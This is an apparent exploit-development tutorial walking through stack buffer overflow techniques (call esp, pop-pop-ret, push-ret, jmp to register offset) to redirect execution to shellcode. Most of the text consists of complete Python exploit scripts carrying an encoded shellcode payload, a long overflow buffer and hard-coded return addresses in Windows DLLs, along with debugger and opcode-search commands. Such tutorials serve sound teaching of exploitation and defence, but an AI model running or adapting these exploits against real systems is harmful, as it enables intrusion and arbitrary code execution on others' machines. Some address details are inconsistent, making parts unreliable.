Some ways to jump to the shellcode

In the previous part of walkthrough ESP was pointing directly to our shellcode. But it is kind of a perfect scenario. There are some other ways to jump to our shellcode.

And in this article I’m gonna to walk through some methods described in corelan Exploit writing tutorial part 2 : Stack Based Overflows – jumping to shellcode guide.

So what methods can be used:

call [reg]

If ESP directly points to the shellcode we can overwrite EIP with call esp instruction.

Let’s edit our exploit which was used in the previous article.

#!/usr/bin/python

shellcode = (
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3")

attack = "A" * 26064 + "\x3a\xf2\xaa\x01" + "\x90" * 25 + shellcode
print attack

We need to replace \x3a\xf2\xaa\x01 address which points to the JMP ESP instruction to the address of CALL ESP instruction.

Let’s find it first. The opcode of call esp is:

# rasm2 -a x86 "call esp"
ffd4

Sample image

We will use kernel32.dll and the next address: 0x7c868667.

So now let’s change our exploit:

#!/usr/bin/python

shellcode = (
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3")

attack = "A" * 26064 + "\x7c\x86\x86\x67" + "\x90" * 25 + shellcode
print attack

The value of EIP now should change. Let’s check it.

Sample image

It works.

pop ret

What if none of the registers points to the shellcode, but our shellcode can be found at ESP + 8? We can use pop ret technique. Let’s simulate this case in our example.

We should add 4 + 8 random bytes before our shellcode (4 bytes because in this application ESP normally points to the 5th byte of the shellcode and 8 bytes because we should simulate situation when our shellcode starts at ESP+8)

"\x77\xc1\xa3\xb4\xd5\x55\x11\xff" - just random bytes added before shellcode. That’s how exploit now looks like:

#!/usr/bin/python

before_esp = "\xaa\xbb\xcc\xdd"
random_bytes = "\x77\xc1\xa3\xb4\xd5\x55\x11\xff"

shellcode = (
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3")

attack = "A" * 26064 + "\x7c\x86\x86\x67" + before_esp + random_bytes +  "\x90" * 25 + shellcode
print attack

Now we will look in Immunity debugger what happens after our application crashes.

Sample image

That’s what we wanted to do: there is 8 random bytes before our shellcode. So now to jump directly to the shellcode we will use pop ret technique. As there are eight bytes before shellcode we need to find (for example): pop eax pop ebx ret opcodes.

~# rasm2 -a x86 "pop eax"
58
~# rasm2 -a x86 "pop ebx"
5b
~# rasm2 -a x86 "ret"
c3

Now we need to find this sequence in one of dll’s: 585bc3 !mona find -s “\x58\x5b\xc3"

Sample image

This sequence was found at the next address: 0x01b17f03

In our exploit we need to write this sequence in EIP, after that pop instruction will pop 4 bytes from the stack, then another pop instruction will pop next 4 bytes and then ret instruction will put jmp esp instruction from the stack and put it into EIP.

So our attack string in exploit will look like: attack = "A" * 26064 + "\x03\x7f\xb1\x01" + before_esp + random_bytes + "\x7c\x86\x86\x67" + "\x90" * 25 + shellcode

\x03\x7f\xb1\x01 - address of pop pop ret \x67\x86\x86\x7c - address of jmp esp - NOT in reverse order as in the previous example, case we will take it from the stack!

The full exploit:

#!/usr/bin/python

before_esp = "\xaa\xbb\xcc\xdd"
random_bytes = "\x77\xc1\xa3\xb4\xd5\x55\x11\xff"

shellcode = (
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3")

attack = "A" * 26064 + "\x03\x7f\xb1\x01" + before_esp + random_bytes + "\x67\x86\x86\x7c" + "\x90" * 25 + shellcode
print attack

It works!

Sample image

push return

push return is very similar with call[reg]. If one of the registers now directly pointing to the shellcode, it is possible to push the address of this register to the stack and then to make return which will take address from the stack and jump to it. This can be useful when jmp[reg] is not available for example.

Let’s find opcodes for push esp and ret.

~# rasm2 -a x86 "push esp"
54
~# rasm2 -a x86 "ret"
c3

Now we should find the address where they can be located:

!mona find -s “\x54\xc3"

And that’s it:

Sample image

We will try this address: 0x77f6c62b.

Let’s modify our exploit, to make esp pointing directly to our shellcode (beginning with NOPs).

#!/usr/bin/python

address = "\x2b\xc6\xf6\x77"

shellcode = (
"\xdd\xc2\xd9\x74\x24\xf4\xbf\x4e\x20\xbb\x46\x5e\x33\xc9\xb1"
"\x31\x31\x7e\x18\x83\xee\xfc\x03\x7e\x5a\xc2\x4e\xba\x8a\x80"
"\xb1\x43\x4a\xe5\x38\xa6\x7b\x25\x5e\xa2\x2b\x95\x14\xe6\xc7"
"\x5e\x78\x13\x5c\x12\x55\x14\xd5\x99\x83\x1b\xe6\xb2\xf0\x3a"
"\x64\xc9\x24\x9d\x55\x02\x39\xdc\x92\x7f\xb0\x8c\x4b\x0b\x67"
"\x21\xf8\x41\xb4\xca\xb2\x44\xbc\x2f\x02\x66\xed\xe1\x19\x31"
"\x2d\x03\xce\x49\x64\x1b\x13\x77\x3e\x90\xe7\x03\xc1\x70\x36"
"\xeb\x6e\xbd\xf7\x1e\x6e\xf9\x3f\xc1\x05\xf3\x3c\x7c\x1e\xc0"
"\x3f\x5a\xab\xd3\xe7\x29\x0b\x38\x16\xfd\xca\xcb\x14\x4a\x98"
"\x94\x38\x4d\x4d\xaf\x44\xc6\x70\x60\xcd\x9c\x56\xa4\x96\x47"
"\xf6\xfd\x72\x29\x07\x1d\xdd\x96\xad\x55\xf3\xc3\xdf\x37\x99"
"\x12\x6d\x42\xef\x15\x6d\x4d\x5f\x7e\x5c\xc6\x30\xf9\x61\x0d"
"\x75\xf5\x2b\x0c\xdf\x9e\xf5\xc4\x62\xc3\x05\x33\xa0\xfa\x85"
"\xb6\x58\xf9\x96\xb2\x5d\x45\x11\x2e\x2f\xd6\xf4\x50\x9c\xd7"
"\xdc\x32\x43\x44\xbc\x9a\xe6\xec\x27\xe3")

attack = "A" * 26064 + address + "\x90" * 25 + shellcode
print attack

Sample image

And it works!

jmp [reg]+[offset]

If our shellcode for example can be found at ESP + 7 we can simply use jmp[exp+7] instruction.